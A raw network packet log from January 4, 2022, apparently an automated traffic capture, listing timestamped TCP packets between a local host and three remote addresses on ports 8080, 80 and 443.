Jan 4, 2022 19:33:02.255016088 CET	8080	49793	185.7.214.171	192.168.2.5
Jan 4, 2022 19:33:02.255054951 CET	8080	49793	185.7.214.171	192.168.2.5
Jan 4, 2022 19:33:02.255078077 CET	49793	8080	192.168.2.5	185.7.214.171
Jan 4, 2022 19:33:02.255095005 CET	8080	49793	185.7.214.171	192.168.2.5
Jan 4, 2022 19:33:02.255110979 CET	49793	8080	192.168.2.5	185.7.214.171
Jan 4, 2022 19:33:02.255136967 CET	8080	49793	185.7.214.171	192.168.2.5
Jan 4, 2022 19:33:02.255173922 CET	8080	49793	185.7.214.171	192.168.2.5
Jan 4, 2022 19:33:02.255192995 CET	49793	8080	192.168.2.5	185.7.214.171
Jan 4, 2022 19:33:02.255214930 CET	8080	49793	185.7.214.171	192.168.2.5
Jan 4, 2022 19:33:02.255253077 CET	8080	49793	185.7.214.171	192.168.2.5
Jan 4, 2022 19:33:02.255264044 CET	49793	8080	192.168.2.5	185.7.214.171
Jan 4, 2022 19:33:02.255292892 CET	8080	49793	185.7.214.171	192.168.2.5
Jan 4, 2022 19:33:02.255331039 CET	8080	49793	185.7.214.171	192.168.2.5
Jan 4, 2022 19:33:02.255374908 CET	8080	49793	185.7.214.171	192.168.2.5
Jan 4, 2022 19:33:02.255392075 CET	49793	8080	192.168.2.5	185.7.214.171
Jan 4, 2022 19:33:02.255439997 CET	8080	49793	185.7.214.171	192.168.2.5
Jan 4, 2022 19:33:02.255494118 CET	8080	49793	185.7.214.171	192.168.2.5
Jan 4, 2022 19:33:02.255503893 CET	49793	8080	192.168.2.5	185.7.214.171
Jan 4, 2022 19:33:02.255511999 CET	8080	49793	185.7.214.171	192.168.2.5
Jan 4, 2022 19:33:02.255554914 CET	8080	49793	185.7.214.171	192.168.2.5
Jan 4, 2022 19:33:02.255593061 CET	49793	8080	192.168.2.5	185.7.214.171
Jan 4, 2022 19:33:02.255594015 CET	8080	49793	185.7.214.171	192.168.2.5
Jan 4, 2022 19:33:02.255610943 CET	49793	8080	192.168.2.5	185.7.214.171
Jan 4, 2022 19:33:02.255635977 CET	8080	49793	185.7.214.171	192.168.2.5
Jan 4, 2022 19:33:02.255676031 CET	8080	49793	185.7.214.171	192.168.2.5
Jan 4, 2022 19:33:02.255713940 CET	8080	49793	185.7.214.171	192.168.2.5
Jan 4, 2022 19:33:02.255729914 CET	49793	8080	192.168.2.5	185.7.214.171
Jan 4, 2022 19:33:02.255753040 CET	8080	49793	185.7.214.171	192.168.2.5
Jan 4, 2022 19:33:02.255776882 CET	49793	8080	192.168.2.5	185.7.214.171
Jan 4, 2022 19:33:02.255793095 CET	8080	49793	185.7.214.171	192.168.2.5
Jan 4, 2022 19:33:02.255832911 CET	8080	49793	185.7.214.171	192.168.2.5
Jan 4, 2022 19:33:02.255848885 CET	49793	8080	192.168.2.5	185.7.214.171
Jan 4, 2022 19:33:02.255873919 CET	8080	49793	185.7.214.171	192.168.2.5
Jan 4, 2022 19:33:02.255911112 CET	8080	49793	185.7.214.171	192.168.2.5
Jan 4, 2022 19:33:02.255929947 CET	49793	8080	192.168.2.5	185.7.214.171
Jan 4, 2022 19:33:02.255950928 CET	8080	49793	185.7.214.171	192.168.2.5
Jan 4, 2022 19:33:02.256239891 CET	8080	49793	185.7.214.171	192.168.2.5
Jan 4, 2022 19:33:02.256278992 CET	8080	49793	185.7.214.171	192.168.2.5
Jan 4, 2022 19:33:02.256318092 CET	8080	49793	185.7.214.171	192.168.2.5
Jan 4, 2022 19:33:02.256320000 CET	49793	8080	192.168.2.5	185.7.214.171
Jan 4, 2022 19:33:02.256357908 CET	8080	49793	185.7.214.171	192.168.2.5
Jan 4, 2022 19:33:02.256369114 CET	49793	8080	192.168.2.5	185.7.214.171
Jan 4, 2022 19:33:02.256397963 CET	8080	49793	185.7.214.171	192.168.2.5
Jan 4, 2022 19:33:02.256438017 CET	8080	49793	185.7.214.171	192.168.2.5
Jan 4, 2022 19:33:02.256452084 CET	49793	8080	192.168.2.5	185.7.214.171
Jan 4, 2022 19:33:02.256628990 CET	49793	8080	192.168.2.5	185.7.214.171
Jan 4, 2022 19:33:02.312957048 CET	8080	49793	185.7.214.171	192.168.2.5
Jan 4, 2022 19:33:02.312993050 CET	8080	49793	185.7.214.171	192.168.2.5
Jan 4, 2022 19:33:02.313014984 CET	8080	49793	185.7.214.171	192.168.2.5
Jan 4, 2022 19:33:02.313035011 CET	8080	49793	185.7.214.171	192.168.2.5
Jan 4, 2022 19:33:02.313056946 CET	8080	49793	185.7.214.171	192.168.2.5
Jan 4, 2022 19:33:02.313067913 CET	49793	8080	192.168.2.5	185.7.214.171
Jan 4, 2022 19:33:02.313079119 CET	8080	49793	185.7.214.171	192.168.2.5
Jan 4, 2022 19:33:02.313108921 CET	49793	8080	192.168.2.5	185.7.214.171
Jan 4, 2022 19:33:02.313126087 CET	49793	8080	192.168.2.5	185.7.214.171
Jan 4, 2022 19:33:02.316121101 CET	8080	49793	185.7.214.171	192.168.2.5
Jan 4, 2022 19:33:02.316152096 CET	8080	49793	185.7.214.171	192.168.2.5
Jan 4, 2022 19:33:02.316174030 CET	8080	49793	185.7.214.171	192.168.2.5
Jan 4, 2022 19:33:02.316195011 CET	8080	49793	185.7.214.171	192.168.2.5
Jan 4, 2022 19:33:02.316215038 CET	8080	49793	185.7.214.171	192.168.2.5
Jan 4, 2022 19:33:02.316226006 CET	49793	8080	192.168.2.5	185.7.214.171
Jan 4, 2022 19:33:02.316236973 CET	8080	49793	185.7.214.171	192.168.2.5
Jan 4, 2022 19:33:02.316258907 CET	8080	49793	185.7.214.171	192.168.2.5
Jan 4, 2022 19:33:02.316279888 CET	8080	49793	185.7.214.171	192.168.2.5
Jan 4, 2022 19:33:02.316282988 CET	49793	8080	192.168.2.5	185.7.214.171
Jan 4, 2022 19:33:02.316299915 CET	49793	8080	192.168.2.5	185.7.214.171
Jan 4, 2022 19:33:02.316301107 CET	8080	49793	185.7.214.171	192.168.2.5
Jan 4, 2022 19:33:02.316320896 CET	8080	49793	185.7.214.171	192.168.2.5
Jan 4, 2022 19:33:02.316329956 CET	49793	8080	192.168.2.5	185.7.214.171
Jan 4, 2022 19:33:02.316343069 CET	8080	49793	185.7.214.171	192.168.2.5
Jan 4, 2022 19:33:02.316360950 CET	49793	8080	192.168.2.5	185.7.214.171
Jan 4, 2022 19:33:02.316364050 CET	8080	49793	185.7.214.171	192.168.2.5
Jan 4, 2022 19:33:02.316385031 CET	8080	49793	185.7.214.171	192.168.2.5
Jan 4, 2022 19:33:02.316405058 CET	8080	49793	185.7.214.171	192.168.2.5
Jan 4, 2022 19:33:02.316411972 CET	49793	8080	192.168.2.5	185.7.214.171
Jan 4, 2022 19:33:02.316426992 CET	8080	49793	185.7.214.171	192.168.2.5
Jan 4, 2022 19:33:02.316447973 CET	8080	49793	185.7.214.171	192.168.2.5
Jan 4, 2022 19:33:02.316468000 CET	49793	8080	192.168.2.5	185.7.214.171
Jan 4, 2022 19:33:02.316468000 CET	8080	49793	185.7.214.171	192.168.2.5
Jan 4, 2022 19:33:02.316489935 CET	8080	49793	185.7.214.171	192.168.2.5
Jan 4, 2022 19:33:02.316500902 CET	49793	8080	192.168.2.5	185.7.214.171
Jan 4, 2022 19:33:02.316510916 CET	8080	49793	185.7.214.171	192.168.2.5
Jan 4, 2022 19:33:02.316529989 CET	49793	8080	192.168.2.5	185.7.214.171
Jan 4, 2022 19:33:02.316553116 CET	8080	49793	185.7.214.171	192.168.2.5
Jan 4, 2022 19:33:02.316576958 CET	8080	49793	185.7.214.171	192.168.2.5
Jan 4, 2022 19:33:02.316595078 CET	49793	8080	192.168.2.5	185.7.214.171
Jan 4, 2022 19:33:02.316606045 CET	8080	49793	185.7.214.171	192.168.2.5
Jan 4, 2022 19:33:02.316637993 CET	8080	49793	185.7.214.171	192.168.2.5
Jan 4, 2022 19:33:02.316668034 CET	8080	49793	185.7.214.171	192.168.2.5
Jan 4, 2022 19:33:02.316679955 CET	49793	8080	192.168.2.5	185.7.214.171
Jan 4, 2022 19:33:02.316698074 CET	8080	49793	185.7.214.171	192.168.2.5
Jan 4, 2022 19:33:02.316711903 CET	49793	8080	192.168.2.5	185.7.214.171
Jan 4, 2022 19:33:02.316728115 CET	8080	49793	185.7.214.171	192.168.2.5
Jan 4, 2022 19:33:02.316759109 CET	8080	49793	185.7.214.171	192.168.2.5
Jan 4, 2022 19:33:02.316790104 CET	8080	49793	185.7.214.171	192.168.2.5
Jan 4, 2022 19:33:02.316803932 CET	49793	8080	192.168.2.5	185.7.214.171
Jan 4, 2022 19:33:02.316818953 CET	8080	49793	185.7.214.171	192.168.2.5
Jan 4, 2022 19:33:02.316831112 CET	49793	8080	192.168.2.5	185.7.214.171
Jan 4, 2022 19:33:02.316867113 CET	8080	49793	185.7.214.171	192.168.2.5
Jan 4, 2022 19:33:02.316904068 CET	49793	8080	192.168.2.5	185.7.214.171
Jan 4, 2022 19:33:02.316905022 CET	8080	49793	185.7.214.171	192.168.2.5
Jan 4, 2022 19:33:02.316936970 CET	8080	49793	185.7.214.171	192.168.2.5
Jan 4, 2022 19:33:02.316966057 CET	8080	49793	185.7.214.171	192.168.2.5
Jan 4, 2022 19:33:02.316996098 CET	8080	49793	185.7.214.171	192.168.2.5
Jan 4, 2022 19:33:02.317007065 CET	49793	8080	192.168.2.5	185.7.214.171
Jan 4, 2022 19:33:02.317028046 CET	8080	49793	185.7.214.171	192.168.2.5
Jan 4, 2022 19:33:02.317034960 CET	49793	8080	192.168.2.5	185.7.214.171
Jan 4, 2022 19:33:02.317058086 CET	8080	49793	185.7.214.171	192.168.2.5
Jan 4, 2022 19:33:02.317082882 CET	8080	49793	185.7.214.171	192.168.2.5
Jan 4, 2022 19:33:02.317126036 CET	49793	8080	192.168.2.5	185.7.214.171
Jan 4, 2022 19:33:03.968579054 CET	49794	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:04.073740959 CET	80	49794	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:04.073942900 CET	49794	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:04.074055910 CET	49794	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:04.074088097 CET	49794	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:04.156397104 CET	80	49794	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:04.215595961 CET	80	49794	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:04.215889931 CET	49794	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:04.216077089 CET	49794	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:04.257395029 CET	49795	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:04.294151068 CET	80	49794	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:04.454710007 CET	80	49795	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:04.454874992 CET	49795	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:04.455015898 CET	49795	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:04.456456900 CET	49795	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:04.535887957 CET	80	49795	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:04.536704063 CET	80	49795	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:04.652209997 CET	80	49795	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:04.653947115 CET	49795	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:04.653980970 CET	49795	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:04.690773010 CET	49796	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:04.756009102 CET	80	49795	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:04.772725105 CET	80	49796	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:04.772857904 CET	49796	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:04.772989035 CET	49796	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:04.773015976 CET	49796	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:04.865149975 CET	80	49796	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:04.931361914 CET	80	49796	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:04.931536913 CET	49796	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:04.931812048 CET	49796	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:04.960686922 CET	49797	443	192.168.2.5	162.159.135.233
Jan 4, 2022 19:33:04.960752964 CET	443	49797	162.159.135.233	192.168.2.5
Jan 4, 2022 19:33:04.960910082 CET	49797	443	192.168.2.5	162.159.135.233
Jan 4, 2022 19:33:04.961213112 CET	49797	443	192.168.2.5	162.159.135.233
Jan 4, 2022 19:33:04.961240053 CET	443	49797	162.159.135.233	192.168.2.5
Jan 4, 2022 19:33:05.013174057 CET	443	49797	162.159.135.233	192.168.2.5
Jan 4, 2022 19:33:05.013293028 CET	49797	443	192.168.2.5	162.159.135.233
Jan 4, 2022 19:33:05.015444040 CET	49797	443	192.168.2.5	162.159.135.233
Jan 4, 2022 19:33:05.015458107 CET	443	49797	162.159.135.233	192.168.2.5
Jan 4, 2022 19:33:05.015767097 CET	443	49797	162.159.135.233	192.168.2.5
Jan 4, 2022 19:33:05.016408920 CET	80	49796	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:05.042283058 CET	49797	443	192.168.2.5	162.159.135.233
Jan 4, 2022 19:33:05.084887028 CET	443	49797	162.159.135.233	192.168.2.5
Jan 4, 2022 19:33:05.086798906 CET	443	49797	162.159.135.233	192.168.2.5
Jan 4, 2022 19:33:05.088376999 CET	443	49797	162.159.135.233	192.168.2.5
Jan 4, 2022 19:33:05.088458061 CET	443	49797	162.159.135.233	192.168.2.5
Jan 4, 2022 19:33:05.088459969 CET	49797	443	192.168.2.5	162.159.135.233
Jan 4, 2022 19:33:05.088493109 CET	443	49797	162.159.135.233	192.168.2.5
Jan 4, 2022 19:33:05.088561058 CET	49797	443	192.168.2.5	162.159.135.233
Jan 4, 2022 19:33:05.088567972 CET	443	49797	162.159.135.233	192.168.2.5
Jan 4, 2022 19:33:05.088592052 CET	443	49797	162.159.135.233	192.168.2.5
Jan 4, 2022 19:33:05.088645935 CET	49797	443	192.168.2.5	162.159.135.233
Jan 4, 2022 19:33:05.088660955 CET	443	49797	162.159.135.233	192.168.2.5
Jan 4, 2022 19:33:05.088772058 CET	443	49797	162.159.135.233	192.168.2.5
Jan 4, 2022 19:33:05.088829994 CET	443	49797	162.159.135.233	192.168.2.5
Jan 4, 2022 19:33:05.088833094 CET	49797	443	192.168.2.5	162.159.135.233
Jan 4, 2022 19:33:05.088875055 CET	443	49797	162.159.135.233	192.168.2.5
Jan 4, 2022 19:33:05.088937998 CET	49797	443	192.168.2.5	162.159.135.233
Jan 4, 2022 19:33:05.088953972 CET	443	49797	162.159.135.233	192.168.2.5
Jan 4, 2022 19:33:05.089019060 CET	443	49797	162.159.135.233	192.168.2.5
Jan 4, 2022 19:33:05.089081049 CET	443	49797	162.159.135.233	192.168.2.5
Jan 4, 2022 19:33:05.089082956 CET	49797	443	192.168.2.5	162.159.135.233
Jan 4, 2022 19:33:05.089098930 CET	443	49797	162.159.135.233	192.168.2.5
Jan 4, 2022 19:33:05.089157104 CET	49797	443	192.168.2.5	162.159.135.233
Jan 4, 2022 19:33:05.089169979 CET	443	49797	162.159.135.233	192.168.2.5
Jan 4, 2022 19:33:05.089232922 CET	443	49797	162.159.135.233	192.168.2.5
Jan 4, 2022 19:33:05.089282990 CET	443	49797	162.159.135.233	192.168.2.5
Jan 4, 2022 19:33:05.089291096 CET	49797	443	192.168.2.5	162.159.135.233
Jan 4, 2022 19:33:05.089303017 CET	443	49797	162.159.135.233	192.168.2.5
Jan 4, 2022 19:33:05.089354992 CET	49797	443	192.168.2.5	162.159.135.233
Jan 4, 2022 19:33:05.089366913 CET	443	49797	162.159.135.233	192.168.2.5
Jan 4, 2022 19:33:05.089384079 CET	443	49797	162.159.135.233	192.168.2.5
Jan 4, 2022 19:33:05.089440107 CET	49797	443	192.168.2.5	162.159.135.233
Jan 4, 2022 19:33:05.089452982 CET	443	49797	162.159.135.233	192.168.2.5
Jan 4, 2022 19:33:05.089514017 CET	443	49797	162.159.135.233	192.168.2.5
Jan 4, 2022 19:33:05.089572906 CET	49797	443	192.168.2.5	162.159.135.233
Jan 4, 2022 19:33:05.089574099 CET	443	49797	162.159.135.233	192.168.2.5
Jan 4, 2022 19:33:05.089591980 CET	443	49797	162.159.135.233	192.168.2.5
Jan 4, 2022 19:33:05.089689970 CET	443	49797	162.159.135.233	192.168.2.5
Jan 4, 2022 19:33:05.089728117 CET	443	49797	162.159.135.233	192.168.2.5
Jan 4, 2022 19:33:05.089742899 CET	49797	443	192.168.2.5	162.159.135.233
Jan 4, 2022 19:33:05.089757919 CET	443	49797	162.159.135.233	192.168.2.5
Jan 4, 2022 19:33:05.089776993 CET	49797	443	192.168.2.5	162.159.135.233
Jan 4, 2022 19:33:05.090656042 CET	443	49797	162.159.135.233	192.168.2.5
Jan 4, 2022 19:33:05.090730906 CET	443	49797	162.159.135.233	192.168.2.5
Jan 4, 2022 19:33:05.090805054 CET	49797	443	192.168.2.5	162.159.135.233
Jan 4, 2022 19:33:05.090810061 CET	443	49797	162.159.135.233	192.168.2.5
Jan 4, 2022 19:33:05.090828896 CET	443	49797	162.159.135.233	192.168.2.5
Jan 4, 2022 19:33:05.090893984 CET	49797	443	192.168.2.5	162.159.135.233
Jan 4, 2022 19:33:05.090909004 CET	443	49797	162.159.135.233	192.168.2.5
Jan 4, 2022 19:33:05.090970993 CET	443	49797	162.159.135.233	192.168.2.5
Jan 4, 2022 19:33:05.091032982 CET	49797	443	192.168.2.5	162.159.135.233
Jan 4, 2022 19:33:05.091033936 CET	443	49797	162.159.135.233	192.168.2.5
Jan 4, 2022 19:33:05.091053009 CET	443	49797	162.159.135.233	192.168.2.5
Jan 4, 2022 19:33:05.091103077 CET	49797	443	192.168.2.5	162.159.135.233
Jan 4, 2022 19:33:05.091116905 CET	443	49797	162.159.135.233	192.168.2.5
Jan 4, 2022 19:33:05.091169119 CET	49797	443	192.168.2.5	162.159.135.233
Jan 4, 2022 19:33:05.091219902 CET	443	49797	162.159.135.233	192.168.2.5
Jan 4, 2022 19:33:05.091320992 CET	443	49797	162.159.135.233	192.168.2.5
Jan 4, 2022 19:33:05.091406107 CET	49797	443	192.168.2.5	162.159.135.233
Jan 4, 2022 19:33:05.091415882 CET	443	49797	162.159.135.233	192.168.2.5
Jan 4, 2022 19:33:05.091434002 CET	443	49797	162.159.135.233	192.168.2.5
Jan 4, 2022 19:33:05.091489077 CET	49797	443	192.168.2.5	162.159.135.233
Jan 4, 2022 19:33:05.091505051 CET	443	49797	162.159.135.233	192.168.2.5
Jan 4, 2022 19:33:05.091573954 CET	443	49797	162.159.135.233	192.168.2.5
Jan 4, 2022 19:33:05.091634989 CET	49797	443	192.168.2.5	162.159.135.233
Jan 4, 2022 19:33:05.091649055 CET	443	49797	162.159.135.233	192.168.2.5
Jan 4, 2022 19:33:05.091821909 CET	49797	443	192.168.2.5	162.159.135.233
Jan 4, 2022 19:33:05.105456114 CET	443	49797	162.159.135.233	192.168.2.5
Jan 4, 2022 19:33:05.105571985 CET	49797	443	192.168.2.5	162.159.135.233
Jan 4, 2022 19:33:05.107707977 CET	443	49797	162.159.135.233	192.168.2.5
Jan 4, 2022 19:33:05.107799053 CET	443	49797	162.159.135.233	192.168.2.5
Jan 4, 2022 19:33:05.107867956 CET	443	49797	162.159.135.233	192.168.2.5
Jan 4, 2022 19:33:05.107868910 CET	49797	443	192.168.2.5	162.159.135.233
Jan 4, 2022 19:33:05.107882977 CET	49797	443	192.168.2.5	162.159.135.233
Jan 4, 2022 19:33:05.107889891 CET	443	49797	162.159.135.233	192.168.2.5
Jan 4, 2022 19:33:05.107933998 CET	49797	443	192.168.2.5	162.159.135.233
Jan 4, 2022 19:33:05.107947111 CET	49797	443	192.168.2.5	162.159.135.233
Jan 4, 2022 19:33:05.107976913 CET	443	49797	162.159.135.233	192.168.2.5
Jan 4, 2022 19:33:05.108050108 CET	443	49797	162.159.135.233	192.168.2.5
Jan 4, 2022 19:33:05.108097076 CET	49797	443	192.168.2.5	162.159.135.233
Jan 4, 2022 19:33:05.108108044 CET	443	49797	162.159.135.233	192.168.2.5
Jan 4, 2022 19:33:05.108123064 CET	49797	443	192.168.2.5	162.159.135.233
Jan 4, 2022 19:33:05.108130932 CET	443	49797	162.159.135.233	192.168.2.5
Jan 4, 2022 19:33:05.108186007 CET	49797	443	192.168.2.5	162.159.135.233
Jan 4, 2022 19:33:05.108192921 CET	443	49797	162.159.135.233	192.168.2.5
Jan 4, 2022 19:33:05.108213902 CET	443	49797	162.159.135.233	192.168.2.5
Jan 4, 2022 19:33:05.108268976 CET	49797	443	192.168.2.5	162.159.135.233
Jan 4, 2022 19:33:05.108277082 CET	443	49797	162.159.135.233	192.168.2.5
Jan 4, 2022 19:33:05.108299971 CET	443	49797	162.159.135.233	192.168.2.5
Jan 4, 2022 19:33:05.108351946 CET	49797	443	192.168.2.5	162.159.135.233
Jan 4, 2022 19:33:05.108359098 CET	443	49797	162.159.135.233	192.168.2.5
Jan 4, 2022 19:33:05.108375072 CET	443	49797	162.159.135.233	192.168.2.5
Jan 4, 2022 19:33:05.108426094 CET	49797	443	192.168.2.5	162.159.135.233
Jan 4, 2022 19:33:05.108434916 CET	443	49797	162.159.135.233	192.168.2.5
Jan 4, 2022 19:33:05.108448982 CET	443	49797	162.159.135.233	192.168.2.5
Jan 4, 2022 19:33:05.108500004 CET	49797	443	192.168.2.5	162.159.135.233
Jan 4, 2022 19:33:05.108505964 CET	443	49797	162.159.135.233	192.168.2.5
Jan 4, 2022 19:33:05.108520985 CET	443	49797	162.159.135.233	192.168.2.5
Jan 4, 2022 19:33:05.108571053 CET	49797	443	192.168.2.5	162.159.135.233
Jan 4, 2022 19:33:05.108577967 CET	443	49797	162.159.135.233	192.168.2.5
Jan 4, 2022 19:33:05.108596087 CET	443	49797	162.159.135.233	192.168.2.5
Jan 4, 2022 19:33:05.108652115 CET	49797	443	192.168.2.5	162.159.135.233
Jan 4, 2022 19:33:05.108659983 CET	443	49797	162.159.135.233	192.168.2.5
Jan 4, 2022 19:33:05.122839928 CET	443	49797	162.159.135.233	192.168.2.5
Jan 4, 2022 19:33:05.122917891 CET	443	49797	162.159.135.233	192.168.2.5
Jan 4, 2022 19:33:05.122956991 CET	49797	443	192.168.2.5	162.159.135.233
Jan 4, 2022 19:33:05.122976065 CET	443	49797	162.159.135.233	192.168.2.5
Jan 4, 2022 19:33:05.122993946 CET	49797	443	192.168.2.5	162.159.135.233
Jan 4, 2022 19:33:05.123002052 CET	443	49797	162.159.135.233	192.168.2.5
Jan 4, 2022 19:33:05.123060942 CET	49797	443	192.168.2.5	162.159.135.233
Jan 4, 2022 19:33:05.123071909 CET	443	49797	162.159.135.233	192.168.2.5
Jan 4, 2022 19:33:05.125108957 CET	49797	443	192.168.2.5	162.159.135.233
Jan 4, 2022 19:33:05.127425909 CET	443	49797	162.159.135.233	192.168.2.5
Jan 4, 2022 19:33:05.127562046 CET	443	49797	162.159.135.233	192.168.2.5
Jan 4, 2022 19:33:05.127569914 CET	49797	443	192.168.2.5	162.159.135.233
Jan 4, 2022 19:33:05.127583981 CET	443	49797	162.159.135.233	192.168.2.5
Jan 4, 2022 19:33:05.127667904 CET	443	49797	162.159.135.233	192.168.2.5
Jan 4, 2022 19:33:05.127736092 CET	49797	443	192.168.2.5	162.159.135.233
Jan 4, 2022 19:33:05.127746105 CET	49797	443	192.168.2.5	162.159.135.233
Jan 4, 2022 19:33:05.127753019 CET	443	49797	162.159.135.233	192.168.2.5
Jan 4, 2022 19:33:05.127773046 CET	443	49797	162.159.135.233	192.168.2.5
Jan 4, 2022 19:33:05.127830982 CET	49797	443	192.168.2.5	162.159.135.233
Jan 4, 2022 19:33:05.127860069 CET	443	49797	162.159.135.233	192.168.2.5
Jan 4, 2022 19:33:05.127944946 CET	443	49797	162.159.135.233	192.168.2.5
Jan 4, 2022 19:33:05.127948046 CET	49797	443	192.168.2.5	162.159.135.233
Jan 4, 2022 19:33:05.127965927 CET	443	49797	162.159.135.233	192.168.2.5
Jan 4, 2022 19:33:05.128015041 CET	49797	443	192.168.2.5	162.159.135.233
Jan 4, 2022 19:33:05.128062963 CET	443	49797	162.159.135.233	192.168.2.5
Jan 4, 2022 19:33:05.128132105 CET	443	49797	162.159.135.233	192.168.2.5
Jan 4, 2022 19:33:05.128137112 CET	49797	443	192.168.2.5	162.159.135.233
Jan 4, 2022 19:33:05.128150940 CET	443	49797	162.159.135.233	192.168.2.5
Jan 4, 2022 19:33:05.128206968 CET	443	49797	162.159.135.233	192.168.2.5
Jan 4, 2022 19:33:05.128211975 CET	49797	443	192.168.2.5	162.159.135.233
Jan 4, 2022 19:33:05.128271103 CET	49797	443	192.168.2.5	162.159.135.233
Jan 4, 2022 19:33:05.128284931 CET	443	49797	162.159.135.233	192.168.2.5
Jan 4, 2022 19:33:05.128307104 CET	443	49797	162.159.135.233	192.168.2.5
Jan 4, 2022 19:33:05.128377914 CET	49797	443	192.168.2.5	162.159.135.233
Jan 4, 2022 19:33:05.128391027 CET	443	49797	162.159.135.233	192.168.2.5
Jan 4, 2022 19:33:05.128412008 CET	443	49797	162.159.135.233	192.168.2.5
Jan 4, 2022 19:33:05.128487110 CET	443	49797	162.159.135.233	192.168.2.5
Jan 4, 2022 19:33:05.128489971 CET	49797	443	192.168.2.5	162.159.135.233
Jan 4, 2022 19:33:05.128509045 CET	443	49797	162.159.135.233	192.168.2.5
Jan 4, 2022 19:33:05.128556967 CET	49797	443	192.168.2.5	162.159.135.233
Jan 4, 2022 19:33:05.128582954 CET	443	49797	162.159.135.233	192.168.2.5
Jan 4, 2022 19:33:05.128640890 CET	49797	443	192.168.2.5	162.159.135.233
Jan 4, 2022 19:33:05.128648043 CET	443	49797	162.159.135.233	192.168.2.5
Jan 4, 2022 19:33:05.128667116 CET	443	49797	162.159.135.233	192.168.2.5
Jan 4, 2022 19:33:05.128721952 CET	49797	443	192.168.2.5	162.159.135.233
Jan 4, 2022 19:33:05.128731012 CET	443	49797	162.159.135.233	192.168.2.5
Jan 4, 2022 19:33:05.128809929 CET	443	49797	162.159.135.233	192.168.2.5
Jan 4, 2022 19:33:05.128818989 CET	49797	443	192.168.2.5	162.159.135.233
Jan 4, 2022 19:33:05.128830910 CET	443	49797	162.159.135.233	192.168.2.5
Jan 4, 2022 19:33:05.128896952 CET	49797	443	192.168.2.5	162.159.135.233
Jan 4, 2022 19:33:05.128933907 CET	443	49797	162.159.135.233	192.168.2.5
Jan 4, 2022 19:33:05.128999949 CET	49797	443	192.168.2.5	162.159.135.233
Jan 4, 2022 19:33:05.129012108 CET	443	49797	162.159.135.233	192.168.2.5
Jan 4, 2022 19:33:05.129069090 CET	443	49797	162.159.135.233	192.168.2.5
Jan 4, 2022 19:33:05.129098892 CET	443	49797	162.159.135.233	192.168.2.5
Jan 4, 2022 19:33:05.129137039 CET	49797	443	192.168.2.5	162.159.135.233
Jan 4, 2022 19:33:05.129153967 CET	443	49797	162.159.135.233	192.168.2.5
Jan 4, 2022 19:33:05.129167080 CET	49797	443	192.168.2.5	162.159.135.233
Jan 4, 2022 19:33:05.129183054 CET	443	49797	162.159.135.233	192.168.2.5
Jan 4, 2022 19:33:05.129210949 CET	49797	443	192.168.2.5	162.159.135.233
Jan 4, 2022 19:33:05.129224062 CET	443	49797	162.159.135.233	192.168.2.5
Jan 4, 2022 19:33:05.129239082 CET	49797	443	192.168.2.5	162.159.135.233
Jan 4, 2022 19:33:05.129266977 CET	443	49797	162.159.135.233	192.168.2.5
Jan 4, 2022 19:33:05.129323006 CET	49797	443	192.168.2.5	162.159.135.233
Jan 4, 2022 19:33:05.129331112 CET	443	49797	162.159.135.233	192.168.2.5
Jan 4, 2022 19:33:05.129373074 CET	443	49797	162.159.135.233	192.168.2.5
Jan 4, 2022 19:33:05.129430056 CET	49797	443	192.168.2.5	162.159.135.233
Jan 4, 2022 19:33:05.129439116 CET	443	49797	162.159.135.233	192.168.2.5
Jan 4, 2022 19:33:05.129463911 CET	443	49797	162.159.135.233	192.168.2.5
Jan 4, 2022 19:33:05.129528046 CET	443	49797	162.159.135.233	192.168.2.5
Jan 4, 2022 19:33:05.129534960 CET	49797	443	192.168.2.5	162.159.135.233
Jan 4, 2022 19:33:05.129568100 CET	443	49797	162.159.135.233	192.168.2.5
Jan 4, 2022 19:33:05.129605055 CET	49797	443	192.168.2.5	162.159.135.233
Jan 4, 2022 19:33:05.129606962 CET	443	49797	162.159.135.233	192.168.2.5
Jan 4, 2022 19:33:05.129630089 CET	49797	443	192.168.2.5	162.159.135.233
Jan 4, 2022 19:33:05.129638910 CET	443	49797	162.159.135.233	192.168.2.5
Jan 4, 2022 19:33:05.129667044 CET	49797	443	192.168.2.5	162.159.135.233
Jan 4, 2022 19:33:05.129698038 CET	49797	443	192.168.2.5	162.159.135.233
Jan 4, 2022 19:33:05.129704952 CET	443	49797	162.159.135.233	192.168.2.5
Jan 4, 2022 19:33:05.129725933 CET	443	49797	162.159.135.233	192.168.2.5
Jan 4, 2022 19:33:05.129771948 CET	443	49797	162.159.135.233	192.168.2.5
Jan 4, 2022 19:33:05.129775047 CET	49797	443	192.168.2.5	162.159.135.233
Jan 4, 2022 19:33:05.129796982 CET	443	49797	162.159.135.233	192.168.2.5
Jan 4, 2022 19:33:05.129837036 CET	49797	443	192.168.2.5	162.159.135.233
